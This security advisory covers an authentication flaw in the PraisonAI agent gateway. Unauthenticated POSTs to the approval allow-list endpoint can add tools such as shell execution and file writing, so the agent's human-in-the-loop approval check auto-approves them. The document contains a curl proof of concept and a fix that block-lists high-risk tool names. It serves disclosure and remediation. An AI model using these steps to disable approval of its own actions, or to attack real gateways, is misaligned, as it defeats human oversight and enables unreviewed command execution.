PT-2026-59538 · Pypi · Praisonai

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.9

High

VectorAV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

Summary

The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth token is configured (the default). By adding dangerous tool names (e.g., shell exec, file write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.

Details

The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
check auth() in server.py:243-246 returns None (no error) when self.config.auth token is falsy:
python
# server.py:243-246
def check auth(request) -> Optional[JSONResponse]:
  if not self.config.auth token:
    return None # No auth configured → allow everything
GatewayConfig defaults auth token to None (config.py:61):
python
# config.py:61
auth token: Optional[str] = None
2. Unrestricted allowlist modification
The approval allowlist handler at server.py:381-420 calls check auth() and proceeds when it returns None:
python
# server.py:388-410
auth err = check auth(request)
if auth err:
  return auth err
# ...
if request.method == "POST":
   approval mgr.allowlist.add(tool name) # No validation on tool name
  return JSONResponse({"added": tool name})
There is no validation that tool name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request approval() is called by an agent (gateway approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec approval.py:141-144):
python
# exec approval.py:140-144
# Fast path: already permanently allowed
if tool name in self.allowlist:
  future.set result(Resolution(approved=True, reason="allow-always"))
  return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
  1. Attacker POSTs {"tool name": "shell exec"} to /api/approval/allow-list
  2. check auth() returns None (no auth token configured)
  3. approval mgr.allowlist.add("shell exec") adds to the PermissionAllowlist set
  4. Agent later calls shell exec → GatewayApprovalBackend.request approval() → ExecApprovalManager.register()
  5. register() hits the fast path: "shell exec" in self.allowlist → True
  6. Returns Resolution(approved=True) — no human review occurs
  7. Agent executes the dangerous tool

PoC

bash
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}

# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow list": []}

# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list 
 -H 'Content-Type: application/json' 
 -d '{"tool name": "shell exec"}'
# Response: {"added": "shell exec"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list 
 -H 'Content-Type: application/json' 
 -d '{"tool name": "file write"}'
# Response: {"added": "file write"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list 
 -H 'Content-Type: application/json' 
 -d '{"tool name": "code execution"}'
# Response: {"added": "code execution"}

# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow list": ["code execution", "file write", "shell exec"]}

# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec approval.py:141 without human review.

Impact

  • Bypasses human-in-the-loop safety controls: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.
  • Enables arbitrary agent tool execution: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.
  • Persistent within process: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.
  • Local attack surface: Default binding to 127.0.0.1 limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.

Recommended Fix

The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:
Option A: Require auth token for approval endpoints (recommended)
python
# server.py - modify check auth or add a separate check for approval endpoints
def check auth required(request) -> Optional[JSONResponse]:
  """Validate auth token - ALWAYS required for security-critical endpoints."""
  if not self.config.auth token:
    return JSONResponse(
      {"error": "auth token must be configured to use approval endpoints"},
      status code=403,
    )
  return check auth(request)

# Then in approval allowlist():
async def approval allowlist(request):
  auth err = check auth required(request) # Always require auth
  if auth err:
    return auth err
Option B: Restrict allowlist additions to known safe tools
python
# exec approval.py - add a tool safety classification
ALLOWLIST BLOCKED TOOLS = {"shell exec", "file write", "code execution", "bash", "terminal"}

# server.py - validate tool name before adding
if tool name in ALLOWLIST BLOCKED TOOLS:
  return JSONResponse(
    {"error": f"'{tool name}' cannot be added to allow-list (high-risk tool)"},
    status code=403,
  )

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2901

Affected Products

Praisonai